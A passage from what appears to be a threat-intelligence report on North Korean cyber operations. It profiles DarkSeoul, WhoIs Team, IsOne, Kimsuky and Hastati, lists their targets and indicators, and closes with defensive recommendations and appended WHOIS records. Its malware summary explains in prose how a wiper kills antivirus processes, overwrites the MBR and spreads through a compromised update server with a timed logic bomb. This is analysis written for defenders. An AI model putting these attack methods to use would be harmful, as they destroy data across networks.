In April 2012, the regime reportedly listed 330 http://edition.cnn.com/2014/07/02/world/asia/south-korea-xi-visit/index.html?hpthp_bn7 331 http://mobile.nytimes.com/blogs/sinosphere/2014/07/07/q-and-a-john-delury-on-chinese-south-korean-ties/?smidtw-share 332 http://www.globalpost.com/dispatch/news/yonhap-news-agency/140825/n-korea-urges-un-action-against-s-korea-us-military-drill 333 http://www.theguardian.com/world/2009/jul/11/south-korea-blames-north-korea-cyber-attacks 334 http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/2 335 http://www.darkreading.com/attacks-and-breaches/south-korean-bank-hackers-target-us-military-secrets/d/d-id/1110674?
336 http://motherboard.vice.com/blog/the-dark-seoul-hackers-were-after-south-korean-military-secrets 337 http://blogs.mcafee.com/wp-content/uploads/2011/07/McAfee-Labs-10-Days-of-Rain-July-2011.pdf 338 http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war 339 http://www.nytimes.com/2013/03/21/world/asia/south-korea-computer-network-crashes.html?pagewantedall_r1 According to statements from the South Korean government, North Koreas Lab 110 were the actors behind the DarkSeoul malware attacks.
those entities as attack targets.340 The malware used in the March 20, 2013 attacks were wiper malware.
The malware attempted to disable AhnLab and Hauri AV antivirus products then proceeded to overwrite the master boot record (MBR).
The attack was capable of wiping both Linux and Windows machines.341 McAfee found that these attacks were the culmination of the malware campaign they dubbed Operation Troy.342 A report from IssueMakersLab tied the actors responsible for the March 20, 2013 attacks to cyber attack activity occurring as early as 2007.
IssueMakersLab found that these actors consistently used the same 16-digit password for file compression, the same stage 1 C2 protocol, the same collection keywords and encryption keys, and the same development path.343 According to South Koreas Korea Internet and Security Agency, the North Korean IP address 175.45.178.xx was found scanning South Korean routes the month before the attacks,344 and the same IP was reportedly logged as accessing one of the targets 13 times.345 Details of the March 20 attack also suggested possible ties to China.
AlienVault suspected the Chinese exploit kit GonDad was used to spread the malware, and the Korean domains serving the malware were registered using a Chinese email address.
Additionally, researchers at AhnLab in South Korea noted a Chinese IP address linked to the attacks.346 While no concrete evidence has been released that indicates Lab 110 was responsible for the DarkSeoul attacks, the responsible groups targets, TTP, and attack timing demonstrate a strong pro-North Korean sentiment.
Known tactics, techniques and procedures Customized wiper malware347 DDoS Multi-staged, coordinated attacks348 Destructive payloads with politically significant trigger dates Use of politically themed strings when overwriting disk sectors Utilizing legitimate patching mechanisms to spread malware across corporate networks Encryption and obfuscation methods that have become their signature Repeated use of a specific webmail server Consistent C2 structures Antivirus disablement and evasion349 Watering hole attacks Zero-days Spearphishing350 340 http://english.yonhapnews.co.kr/northkorea/2013/03/21/71/0401000000AEN20130321006700315F.HTML 341 http://www.theregister.co.uk/Print/2013/03/22/sk_megahack/ 342 http://www.darkreading.com/attacks-and-breaches/south-korean-bank-hackers-target-us-military-secrets/d/d-id/1110674?
343 https://docs.google.com/file/d/0B6CK-ZBGuMe4dGVHdTZnenJMRUk/preview?pli1 344 http://english.yonhapnews.co.kr/national/2013/04/11/79/0301000000AEN20130411008351320F.HTML 345 http://www.darkreading.com/attacks-and-breaches/how-south-korea-traced-hacker-to-pyongyang/d/d-id/1109491?
346 http://www.theregister.co.uk/Print/2013/03/22/sk_megahack/ 347 http://news.sky.com/story/1108704/darkseoul-gang-behind-years-of-korea-hacking 348 http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war 349 http://www.theregister.co.uk/Print/2013/03/22/sk_megahack/ 350 http://www.infoworld.com/t/data-security/mcafee-uncovers-massive-cyber-espionage-campaign-against-south-korea-222245 Targets South Korean military U.S. sites Shinhan Bank Nonghyup Bank351 Jeju Bank352 Munhwa Broadcasting Corp. YTN Korea Broadcasting System353 South Korean government DNS server South Korea financial institutions WhoIs Team WhoIs Team is one of two groups that claimed responsibility for the March 20 attacks targeting South Korea.
A defacement on the LG U webpage stated that it was Hacked by WhoIs Team and that the attackers would return.
The page featured three skulls.354 However, no other attacks by WhoIs Team have been observed.
351 http://www.reuters.com/article/2011/05/03/us-korea-north-cyber-idUSTRE7421Q520110503 352 http://www.nytimes.com/2013/03/21/world/asia/south-korea-computer-network-crashes.html?pagewantedall_r1 353 http://www.businessweek.com/news/2013-03-20/s-dot-korea-hit-by-cyber-attack-roiling-banks-to-broadcasters 354 http://www.zdnet.com/massive-attack-on-lg-uplus-sparks-n-korea-reprisal-fears-7000012881/ Figure 26 A defacement by WhoIs Team 355 Known tactics, techniques, and procedures Wiper malware356 Defacements Targets Took credit for an attack on the LG U website.
355 http://nakedsecurity.sophos.com/2013/03/20/south-korea-cyber-attack/ 356 http://www.mcafee.com/sg/resources/white-papers/wp-dissecting-operation-troy.pdf Associated actors dbM4st3r d3sign3r APTM4st3r s3ll3r vacc1nm45t3r r3cycl3r Based on North Koreas affinity for disinformation and counterintelligence, we must note the distinct possibility that operatives claiming to be WhoIs Team are part of another group and that the defacement was a false flag operation meant to pin blame on RAON_ASRT.
RAON_ASRT is a South Korean white hat capture the flag (CTF) team, whose members also operate under the name WhoIs.357 l Figure 27 A screenshot showing that South Koreas RAON_ASRT white hat CTF team also uses the moniker WhoIs.358 RAON_ASRT (the RaonSecure Advanced Security Research Team) and its sub-teams WhoIs Team and Cpark Team359 have participated in and performed well in CTF contests such as the one hosted by DefCon.
360 In 2013, a member of RAON_ASRT was invited to Blue House, the residence of the South Korean president, to meet with president Park and discuss the security industry.361 RAON_ASRT runs the Secuinside CTF competition.362 Their parent organization RaonSecure operates a whitehat training program.363 The group also runs the Korea WhiteHat Contest, which is hosted by South Koreas Ministry of National Defense and National Intelligence Service and 357 https://ctftime.org/team/3206 358 https://ctftime.org/team/3206 359 http://ls-al.org/asrt-has-become-the-winner-of-codegate-2013/ 360 http://blog.raonsecure.com/62 361 http://ls-al.org/asrt-researcher-meets-the-president-park-in-korea/ 362 http://ls-al.org/asrt-runs-secuinside-ctf/ 363 http://www.whitehat.co.kr/ https://www.defcon.org/ supervised by South Korean Cyber Command.364 For these reasons, it seems unlikely that the RAON_ASRT WhoIs Team would maliciously target South Korean entities.
IsOne IsOne is the group that claimed responsibility for the June 2012 attack on the website of South Korean newspaper JoongAng Ilbo.
The attack included an attempt to wipe JoongAng Ilbos servers as well as a defacement depicting a laughing cat.
Despite efforts to wipe the targets servers, the target only suffered defacement and temporary downtime.365 Figure 28 Defacement by IsOne.
366 Although the groups have a similar name and both use a cat theme, it is unclear whether a CTF team known as The Cat is Number 1 and IsOne are the same actors.
The Cat is Number 1 members claim to hail from North Korea, but there is no hard evidence linking team members to 364 http://ls-al.org/EB8C80ED959CEBAFBCEAB5AD-ED9994EC9DB4ED8AB8ED9687- ECBD98ED858CEC8AA4ED8AB8korea-whitehat-contest-EAB09CECB59C/ 365 http://koreajoongangdaily.joins.com/news/article/article.aspx?aid2965629 366 http://bad-bytes.blogspot.co.uk/2012/06/joongang-ilbo-cyber-attack.html the region.367 Again, it seems that the actors responsible for the attack borrowed the moniker of another group.
Figure 29 A screenshot of The Cat is Number One profile on CTF Time 368 According to South Koreas National Police Agency, the attack on JoongAng Ilbo shares characteristics with previous attacks attributed to North Korean actors.
An investigation conducted by the agencys Cyber Terror Response Center found that the actors targeting JoongAng Ilbo used two North Korean servers and 17 servers in 10 other countries.
One server maintained a constant connection to an IP address belonging to Joson Telecommunication Company, which is affiliated with North Koreas Ministry of Posts and Telecommunications.
Investigators found that one of the servers used in the attack on JoongAng Ilbo was also used in the March 2011 DDoS attacks on South Korean critical infrastructure sites and the April 2011 attack on Nyongyup Bank.369 Known tactics, techniques and procedures Wiper malware Defacements Targets Took credit for defacing JoongAng Ilbo.
367 https://ctftime.org/team/2538 368 https://ctftime.org/team/2538 369 http://koreajoongangdaily.joins.com/news/article/article.aspx?aid2965629 Kimsukyang The Kimsuky malware, which targeted South Korean think tanks, is loosely attributed to an actor referred to as Kimsukyang.
Little is known about the actor or group responsible for the malware.
However, the following email addresses are associated with the Kimsuky operation:370 beautiflmail.bg ennemymanmail.bg fasionmanmail.bg happylovemail.bg lovest000mail.bg monneymanmail.bg sportsmanmail.bg veryhappymail.bg iop110112hotmail.com rsh1213hotmail.com The email address iop110112hotmail.com was registered using the alias kimsukyang, and rsh1213hotmail.com was registered using the alias Kim asdfa.
Kaspersky found that the Kimsuky operation used 10 IP addresses in two Chinese provinces that border North Korea: Jilin and Liaoning.371 Known tactics, techniques and procedures Malware with keylogger and data exfiltration capabilities Malware disables AhnLab security software372 Targets Sejong Institute Korea Institute for Defense Analyses (KIDA) Ministry of Unification Hyundai Merchant Marine The Supporters of Korean Unification373 New Romantic Cyber Army Team / Hastati The New Romantic Cyber Army Team also took credit for the March 20, 2013 attacks.
McAfee suspected New Romantic Cyber Army Team were responsible for Operation Troy and the resulting March 20, 2013 attacks due to the groups frequent use of Roman and classical terms in their 370 http://www.securelist.com/en/analysis/204792305/The_Kimsuky_Operation_A_North_Korean_APT 371 http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/5 372 http://www.securelist.com/en/analysis/204792305/The_Kimsuky_Operation_A_North_Korean_APT 373 http://www.securelist.com/en/analysis/204792305/The_Kimsuky_Operation_A_North_Korean_APT mailto:beautiflmail.bg mailto:ennemymanmail.bg mailto:fasionmanmail.bg mailto:happylovemail.bg mailto:lovest000mail.bg mailto:monneymanmail.bg mailto:sportsmanmail.bg mailto:veryhappymail.bg mailto:iop110112hotmail.com mailto:rsh1213hotmail.com mailto:iop110112hotmail.com mailto:rsh1213hotmail.com code.374 It is unknown whether Hastati is an alternate name for the group or whether Hastati is an individual actor within the group.
It is interesting to note that the malware associated with these actors uses the strings HASTATI and PRINCIPES to overwrite the MBR.
The name Hastati likely refers to a class of infantrymen of the early Roman Republic.
The Hastati were less experienced soldiers who fought on the frontlines with spears and swords.
Principes likely refers to more experienced Roman soldiers who fought on the second line of battle.
375 Figure 30 Defacement by Hastati.376 Known tactics, techniques and procedures Wiper malware Targets KBS TV377 Entities targeted in Operation Troy378 Malware summary HP researchers had previously analyzed samples of the DarkSeoul dropper, and findings were published in our annual HP Cyber Risk Report 2013.
Analysis of this malware is included in Appendix C. Analysis of additional malware used in these campaigns produced no new findings and only corroborated what was found by external security researchers.
These publicly available analyses have been cited throughout the report.
Some of the malware samples were no longer publicly available.
However, CrowdStrike obtained these missing samples before they disappeared from the wild and conducted thorough analysis, which was released in their subscription-only reports.
While we cannot divulge detailed information from those reports, an overview of the findings is provided below.
374 http://www.darkreading.com/attacks-and-breaches/south-korean-bank-hackers-target-us-military-secrets/d/d-id/1110674?
375 http://www.roman-empire.net/army/army.htmlearlylegion 376 http://eromang.zataz.com/2013/04/02/dark-south-korea-total-war-review/ 377 http://eromang.zataz.com/2013/04/02/dark-south-korea-total-war-review/ 378 http://www.mcafee.com/us/resources/white-papers/wp-dissecting-operation-troy.pdf http://info.hpenterprisesecurity.com/register_hpenterprisesecurity_cyber_risk_report_2013?srcblogs The majority of the malware used in cyber incidents attributed to North Korea were variations of three types of malware: dropper, wiper, and IRC remote access trojan (RAT).
CrowdStrikes attribution of this malware to North Korean actors stemmed from two primary factors: Korean language characters found in the binaries and the propensity to specifically target South Korean entities.379 Dropper samples consistently targeted AhnLab Policy Center as a propagation method.
This information is corroborated in a Black Hat Asia 2014 presentation by Fortinet researcher Kyle Yang.380  CrowdStrikes report also briefly noted the use of an update server vector.381  Yang analyzed the malwares update config metadata and matched its format to the AhnLab Policy Center.
To test its payload, Yang set up a server/client and executed the update through the server.
As Yang had predicted, it wiped the client.382 While the method for initial compromise of the update server is not noted in detail, CrowdStrikes report cites collateral information that suggests targeted email attacks were used to gain initial entry, and policy servers were then compromised.
The upload server vector included a time-based logic bomb that allowed the wiper to target a large number of systems, on a set time and date, with full permissions on all of the targeted systems.383 According to CrowdStrike, the wiper malware was dropped on the systems as AgentBase.exe.
The wiper used the Windows utility taskkill to kill the processes pasvc.exe and clisvc.exe, which are the main processes for the Ahnlab and Hauri antivirus applications.384 385 The wiper then performed system reconnaissance, gathering drive information and operating system version.
Depending on the OS used, the wiper recursively deleted files on the file system, deleting the Windows folder last.
It then overwrote the MBR with the strings HASTATI, PRINCPES, PRINCIPES, or PRNCPES.386 While there are several variants of the wiper, all seem to have been used on the same date.
It is unclear why multiple wiper variants with slightly differing behavior were used for the same campaign.
One possible explanation is that multiple variants were used to minimize the operational damage to the mission in the case of an early detection of one of the variants.
For example, if one wiper variant was compromised or detected by antivirus or IDS signatures, the other variants may have differed enough to remain undetected, still resulting in mission success.
According to CrowdStrike, a third malware component downloaded an IRC RAT from various compromised websites.
This RAT is detected by Symantec as Backdoor.
Prioxer.
Prioxer has been linked to other 2011 attacks on South Korea.
It is unclear whether these downloaders were 379 CrowdStrike Intelligence Report CSIR-13013 380 Yang, Kyle.
Z:\Make Troy\, Not War: Case Study of the Wiper APT in Korea, and Beyond.
Black Hat Asia, March 2014.
381 CrowdStrike Intelligence Report CSIR-13013 382 Yang, Kyle.
Z:\Make Troy\, Not War: Case Study of the Wiper APT in Korea, and Beyond.
Black Hat Asia, March 2014.
383 CrowdStrike Intelligence Report CSIR-13013 384 CrowdStrike Intelligence Report CSIR-13030 385 Yang, Kyle.
Z:\Make Troy\, Not War: Case Study of the Wiper APT in Korea, and Beyond.
Black Hat Asia, March 2014.
386 CrowdStrike Intelligence Report CSIR-13030 pushed out in the same update server vector as the wipers.
However, the two malware types both use the same packer Jokra and both contain the strings HASTATI and PRINCPES.387 Analysis Based on the information above, we have identified strategic challenges that impact the development of North Koreas cyber warfare capabilities.
We have also noted relevant implications: The North Korean regime strictly controls all Internet infrastructure,388 meaning cyber activity by dissidents or autonomous hacker groups are very unlikely.
In other words, any cyber attacks originating in North Korea can be assumed to be state sponsored.
For this reason, according to defectors, the regimes cyber operators do not typically launch attacks directly from within North Korea.
Instead, many regime-sponsored attacks are launched from cells based in China, U.S., South Asia, Europe, and even South Korea.389 North Korea has a limited number of outgoing connections.390 For this reason, there is a low probability of DDoS originating from within.
However, this does not preclude the use of botnets with a local C2 server or the use of networks in third-party nations to launch attacks.
As seen in the July 2009 attacks on South Korean and U.S. targets, North Korea has leveraged networks in countries such as Austria, Georgia, Germany, and even South Korea and the U.S., in order to launch cyber attacks.391 North Korea will likely be forced to rely on third parties for quite some time, due to its lack of sufficient infrastructure for launching large-scale CNO.
Several outward facing websites are hosted in China and other countries.
This implies two possibilities: that North Koreas infrastructure cannot handle a heavy incoming traffic load 392 or that the regime wants to separate the propaganda crafted for an outside target audience from internally-focused propaganda.
This arrangement seems unlikely to change in the foreseeable future.
North Korea is known to have unstable power supplies393, which limits scalability of the regimes current CNO capabilities.
This is another reason why expansion of CNO capabilities using the nations own infrastructure seems unlikely in the foreseeable future.
North Korea is known to have monetary deficiencies,394 which further limit expansion of infrastructure and CNO capabilities, at least without third-party aid.
North Korea continues to rely heavily on China for sustainment.395 Although we see few instances of overt cyber operations, that North Korea reportedly spends so much of its limited resources on training and equipping cyber operators speaks volumes.
The human element of the regimes cyber war program, at least, has potential.
387 CrowdStrike Intelligence Report CSIR-13013 388 http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf 389 http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/5 390 http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf 391 http://www.theguardian.com/world/2009/jul/11/south-korea-blames-north-korea-cyber-attacks 392 http://binarycore.org/2012/05/30/investigating-north-koreas-netblock-part-3-topology/ 393 http://38north.org/2010/09/speak-loudly-and-carry-a-small-stick-the-north-korean-cyber-menace/ 394 http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf 395 http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf Sanctions against North Korea and export laws prohibit the sale of certain technologies to the regime.396 In other words, in order to obtain the technology needed for a cyber warfare program, the regime must improvise.
North Korea must develop its own technology, manufacture technology using plans obtained via industrial espionage, or rely on third parties to procure it for them.
However, the regime has historically failed in its attempts of large-scale production of electronic components.
At present, North Korea relies on China to provide much of its network hardware, including servers and routers.397 It is unlikely that North Korea will compromise on its nuclear program, meaning sanctions will likely be longstanding, and the regime will have to continue to rely on third parties to procure technology.
Cyber incidents attributed to North Korean actors seem to follow distinct patterns: According to reports by other researchers, the conventions and C2 structure used by North Korean cyber actors show continuity and consistency over time.
The majority of the incidents attributed to North Korean actors consistently used wiper malware.
Several of the incidents included defacements, with a different group taking credit each time.
Additionally, little information or attack history was found about any of the groups, aside from information acknowledged in this report.
These factors seem to indicate that a single group may have been responsible for several attacks over time, using different group names as a false flag.
On more than one occasion, the malware included provisions to disable security software made by South Korean security company AhnLab.
This detail strengthens the case that the malware was written or modified to specifically target South Korean machines.
The attacks followed an explicit pattern: most were around the time of U.S.  South Korean joint military exercises, while the others fell on a significant date or were in response to political events.
The primary targets were South Korean and U.S. entities.
While these nations are traditionally targeted by the regime, it is also possible that South Korean entities are quick to attribute any attack on their infrastructure to North Korean actors.
In fact, in some cases, South Korean reports were the only source of attribution.
Summary Does North Korea have sufficient cyber infrastructure and cyber warfare capabilities to harm the U.S. and its allies?
While North Koreas cyber warfare capabilities pale in comparison to those of wealthier nations, the regime has made significant progress in developing its infrastructure and in establishing cyber operations.
The rate of this progress warrants a closer look at North Koreas motivations, TTPs, and capabilities.
As noted above, North Korea views the U.S. and South Korea as its primary adversaries.
The U.S. and South Korea are high-tech nations with economies that 396 http://www.foxnews.com/world/2012/04/03/exclusive-cash-for-computers-is-un-busting-its-own-sanctions-in-north-korea/ 397 http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 depend heavily on technology.398 In contrast, North Korea does not have a high tech culture.
For these reasons, we should not overestimate the regimes advanced cyber capability, yet we should never underestimate the potential impact of North Korea utilizing less advanced, quick-and-dirty tactics like DDoS to cripple their high-tech targets.
Both government and corporate entities are susceptible to being targeted by North Korean cyber attacks.
North Korean juche ideology places the survival of the regime as its primary goal, and any perceived threat to the regime may be targeted.
Several attacks on U.S. and South Korean government, financial, and critical infrastructure entities have been attributed to North Korean origins..
These attacks were often preceded by or occurred in conjunction with North Korea voicing negative sentiments about the targeted entities.
As we saw with Iranian cyber actors in HPSR Security Briefing Episode 11,399 state sponsored cyber actors often launch an attack in response to a political trigger.
The same pattern seems to apply to pro-North Korean cyber actors, who have launched attacks to coincide with U.S.
Independence Day and the anniversary of the start of the Korean War, as well as propaganda and cyber attacks in response to joint military exercises between the U.S. and South Korea.400 401 As shown by North Koreas past behavior (which is consistent with their doctrine), they are easily pushed into a corner.
At the slightest perceived threat, the regime responds with saber-rattling and peacocking.
The regime is extremely defensive and will, in turn, flex its muscles to show the world how capable it is, even if this is an inaccurate display of their overall capabilities.
The regime fears losing its control and the nations culture to the ever-growing threat of outside influence, as is evidenced in the regimes reaction to the comedy film The Interview.
The regime has represented itself to its citizens as a powerful and capable entity and has used this status to control the populace.
For this reason, the regimes leaders are forced to continually demonstrate this strength and power, or an illusion thereof, both domestically and globally, in order to maintain the status needed to ensure continued suppression of the population.
This show of power may require that the regime takes chances and stretches beyond its abilities at times, but in the spirit of juche and songun, the regime will continue this faade, fearful of losing the image its leaders have worked so hard to maintain.
HP Security Research recommendations North Korean cyber operations are not generally observed originating from home field IP address space, so geo-IP based blocking of traffic originating from those net-blocks is ineffective.
398 http://www.apcss.org/Publications/Edited20Volumes/BytesAndBullets/CH2.pdf 399 http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/HPSR-Threat-Intelligence-Briefing-Episode-11/ba-p/6385243.U5HkbpRdV90 400 http://www.zdnet.com/south-korea-braces-for-norths-cyberattacks-7000012587/ 401 http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/HPSR-Threat-Intelligence-Briefing-Episode-11/ba-p/6385243 Given that North Korea has capable and technically trained forces and will demonstrate their power when they feel provoked, western entities should consciously avoid promoting ideas or doctrine that is blatantly slanderous to the regime.
Encouraging such ideas could cause those entities to become a focal point for North Korean cyber attacks.
Due to the fact that North Korean infrastructure is aging and its resources are not able to keep up with the rest of the world, entities with interesting RD or IP (intellectual property) - especially military in nature  could become targets of interest for North Korea.
Interest in defense-related IP and RD could also stem from North Koreas relationship with China.
In the Chinese business culture, taking another entitys IP or RD is not stealing  it is accepted as business as usual.
It is possible that North Korea, if under Chinese influence, would adopt the same attitude, given the regimes limited capacity for homegrown innovation.
Known DPRK targets have been limited primarily to South Korean and U.S. organizations and government entities.
For these targets, prudent measures should include: Following traditional defense in depth approaches and security best practices Monitoring for malware that disables Korean language antivirus software, such as that from AhnLab To protect against the attack vectors used in North Korean malware campaigns, an advisable prevention tactic is to focus on hardening update/patch management systems.
These systems are appealing targets due to the potential for a large impact Appendix A  WHOIS records WHOIS record for silibank.net: Domain Name: silibank.net Registry Domain ID: Registrar WHOIS Server: whois.discount-domain.com Registrar URL: http://www.onamae.com Updated Date: 2014-03-11 17:27:55.0 Creation Date: 2006-03-13 13:14:53.0 Registrar Registration Expiration Date: 2015-03-13 03:14:53.0 Registrar: GMO INTERNET, INC.
Registrar IANA ID: 49 Registrar Abuse Contact Email: abusegmo.jp Registrar Abuse Contact Phone: Domain Status: ACTIVE Registry Registrant ID: Registrant Name: Whois Privacy Protection Service by MuuMuuDomain Registrant Organization: Whois Privacy Protection Service by MuuMuuDomain Registrant Street1: 2-7-21 Tenjin Chuo-ku Registrant Street2: Tenjin Prime 8F Registrant City: Fukuoka-shi Registrant State/Province: Fukuoka Registrant Postal Code: 810-0001 Registrant Country: JP Registrant Phone: 81-927137999 Registrant Phone Ext: Registrant Fax: 81-927137944 Registrant Fax Ext: Registrant Email: privacywhoisprivacyprotection.info Registry Admin ID: Admin Name: Whois Privacy Protection Service by MuuMuuDomain Admin Organization: Whois Privacy Protection Service by MuuMuuDomain Admin Street1: 2-7-21 Tenjin Chuo-ku Admin Street2: Tenjin Prime 8F Admin City: Fukuoka-shi Admin State/Province: Fukuoka Admin Postal Code: 810-0001 Admin Country: JP Admin Phone: 81-927137999 Admin Phone Ext: Admin Fax: 81-927137944 Admin Fax Ext: Admin Email: privacywhoisprivacyprotection.info Registry Tech ID: Tech Name: Whois Privacy Protection Service by MuuMuuDomain Tech Organization: Whois Privacy Protection Service by MuuMuuDomain Tech Street1: 2-7-21 Tenjin Chuo-ku Tech Street2: Tenjin Prime 8F Tech City: Fukuoka-shi Tech State/Province: Fukuoka Tech Postal Code: 810-0001 Tech Country: JP Tech Phone: 81-927137999 Tech Phone Ext: Tech Fax: 81-927137944 Tech Fax Ext: Tech Email: privacywhoisprivacyprotection.info Name Server: ns1.dns.ne.jp Name Server: ns2.dns.ne.jp WHOIS Record for kcna.kp: inetnum:  175.45.176.0 - 175.45.179.255 netname:   STAR-KP descr:   Ryugyong-dong descr:  Potong-gang District country:  KP admin-c:  SJVC1-AP tech-c:  SJVC1-AP status:  ALLOCATED PORTABLE mnt-by:   APNIC-HM mnt-lower:  MAINT-STAR-KP mnt-routes:   MAINT-STAR-KP remarks:    -------------------------- remarks:    This object can only be updated by APNIC hostmasters.
remarks:    To update this object, please contact APNIC remarks:    hostmasters and include your organisations account remarks:    name in the subject line.
remarks:    -------------------------- mnt-irt:    IRT-STAR-KP changed:    hm-changedapnic.net 20091221 source:     APNIC irt:    IRT-STAR-KP address:   Ryugyong-dong Potong-gang District e-mail:    sahayodloxley.co.th abuse-mailbox:  sahayodloxley.co.th admin-c:   SJVC1-AP tech-c:     SJVC1-AP auth:     Filtered mailto:hm-changedapnic.net mailto:sahayodloxley.co.th mailto:sahayodloxley.co.th mnt-by:   MAINT-STAR-KP changed:   sahayodloxley.co.th 20120202 source:   APNIC role:   STAR JOINT VENTURE CO LTD - network administrat address:  Ryugyong-dong Potong-gang District country:    KP phone:    66 81 208 7602 fax-no:    66 2 240 3180 e-mail:    sahayodloxley.co.th admin-c:   SJVC1-AP tech-c:     SJVC1-AP nic-hdl:    SJVC1-AP mnt-by:    MAINT-STAR-KP changed:   hm-changedapnic.net 20091214 source:      APNIC WHOIS Record for rodong.rep.kp: inetnum:        175.45.176.0 - 175.45.179.255 netname:        STAR-KP descr:          Ryugyong-dong descr:          Potong-gang District country:        KP admin-c:        SJVC1-AP tech-c:         SJVC1-AP status:         ALLOCATED PORTABLE mnt-by:         APNIC-HM mnt-lower:      MAINT-STAR-KP mnt-routes:     MAINT-STAR-KP remarks:        -------------------------- remarks:        This object can only be updated by APNIC hostmasters.
remarks:        To update this object, please contact APNIC remarks:        hostmasters and include your organisations account remarks:        name in the subject line.
remarks:        -------------------------- mnt-irt:        IRT-STAR-KP changed:        hm-changedapnic.net 20091221 source:         APNIC irt:            IRT-STAR-KP address:        Ryugyong-dong Potong-gang District e-mail:         sahayodloxley.co.th abuse-mailbox:  sahayodloxley.co.th admin-c:        SJVC1-AP tech-c:         SJVC1-AP auth:            Filtered mailto:sahayodloxley.co.th mailto:sahayodloxley.co.th mailto:hm-changedapnic.net mailto:hm-changedapnic.net mailto:sahayodloxley.co.th mailto:sahayodloxley.co.th mnt-by:         MAINT-STAR-KP changed:        sahayodloxley.co.th 20120202 source:         APNIC role:           STAR JOINT VENTURE CO LTD - network administrat address:        Ryugyong-dong Potong-gang District country:        KP phone:          66 81 208 7602 fax-no:         66 2 240 3180 e-mail:         sahayodloxley.co.th admin-c:        SJVC1-AP tech-c:         SJVC1-AP nic-hdl:        SJVC1-AP mnt-by:         MAINT-STAR-KP changed:        hm-changedapnic.net 20091214 source:         APNIC WHOIS Record for uriminzokkiri.com: Domain Name : uriminzokkiri.com PunnyCode : uriminzokkiri.com Creation Date : 2003-02-09 00:00:00 Updated Date : 2012-06-28 13:22:18 Expiration Date : 2015-02-09 00:00:00 Registrant: Organization : chaoxianLiuYiYuBianJishe ShenYang Ban SHICHU Name : Korea 615 Shenyang company Address : shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1 City : shenyangshi Province/State : liaoningsheng Country : china Postal Code : 123456 Administrative Contact: Name : kim sejun Organization : Shenyang xin neng yuang Address : shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1 City : shenyangshi Province/State : liaoningsheng Country : china Postal Code : 123456 Phone Number : Fax : 86-024-22523102 Email : hyk1979hotmail.com Technical Contact: Name : kim sejun Organization : Shenyang xin neng yuang Address : shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1 mailto:sahayodloxley.co.th mailto:sahayodloxley.co.th mailto:hm-changedapnic.net City : shenyangshi Province/State : liaoningsheng Country : china Postal Code : 123456 Phone Number : Fax : 86-024-22523102 Email : hyk1979hotmail.com Billing Contact: Name : kim sejun Organization : Shenyang xin neng yuang Address : shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1 City : shenyangshi Province/State : liaoningsheng Country : china Postal Code : 123456 Phone Number : Fax : 86-024-22523102 Email : hyk1979hotmail.com WHOIS Record for ournation-school.com: Domain Name: ournation-school.com Registry Domain ID: Registrar WHOIS Server:whois.paycenter.com.cn Registrar URL:http://www.xinnet.com Updated Date:2012-06-28 13:22:20 Creation Date:2004-10-29 00:00:00 Registrar Registration Expiration Date:2014-10-29 00:00:00 Registrar:XINNET TECHNOLOGY CORPORATION Registrar IANA ID:120 Registrar Abuse Contact Email: supervisionxinnet.com Registrar Abuse Contact Phone:86.1087128064 Domain Status: Registry Registrant ID: Registrant Name:Korea 615 Shenyang company Registrant Organization:chaoxian liuyiyubianjishe shenyangbanshichu Registrant Street:shenyang hepingqu xifudalu 168 hao 2 danyuan 2-12-1 Registrant City:shenyangshi Registrant State/Province:liaoningsheng Registrant Postal Code:123456 Registrant Country:China Registrant Phone:86.024 22523102 Registrant Phone Ext: Registrant Fax:86.024 22523102 Registrant Fax Ext: mailto:hyk1979hotmail.com Registrant Email:urimanagersilibank.com Registry Admin ID: Admin Name:Korea 615 Shenyang company Admin Organization:Korea 615 Shenyang company Admin Street:shenyang hepingqu xifudalu 615 hao 2 danyuan 6-1-5 Admin City:shenyangshi Admin State/Province:liaoningsheng Admin PostalCode:123456 Admin Country:China Admin Phone:86.024 22523102 Admin Phone Ext: Admin Fax:86.024 22523102 Admin Fax Ext: Admin Email:urimanagersilibank.com Registry Tech ID: Tech Name:Korea 615 Shenyang company Tech Organization:Korea 615 Shenyang company Tech Street:shenyang hepingqu xifudalu 615 hao 2 danyuan 6-1-5 Tech City:shenyangshi Tech State/Province:liaoningsheng Tech PostalCode:123456 Tech Country:China Tech Phone:86.024 22523102 Tech Phone Ext: Tech Fax:86.024 22523102 Tech Fax Ext: Tech Email:urimanagersilibank.com Name Server:ns13.xincache.com Name Server:ns14.xincache.com DNSSEC:unsigned WHOIS Record for chongryon.com: Domain Name: chongryon.com Registry Domain ID: 69711868_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.melbourneit.com Registrar URL: http://www.melbourneit.com.au Updated Date: 2014-03-26T00:31:24Z Creation Date: 2001-04-20T06:45:46Z Registrar Registration Expiration Date: 2015-04-20T06:45:46Z Registrar: Melbourne IT Ltd Registrar IANA ID: 13 Registrar Abuse Contact Email: abusemelbourneit.com.au Registrar Abuse Contact Phone: 61.386242300 Domain Status: ok Registry Registrant ID: Registrant Name: o guanin Registrant Organization: o guanin Registrant Street: hujimi2-14-15, Registrant City: chiyodaku Registrant State/Province: tokyo Registrant Postal Code: 1028138 Registrant Country: JP Registrant Phone: 81.332627111 Registrant Phone Ext: Registrant 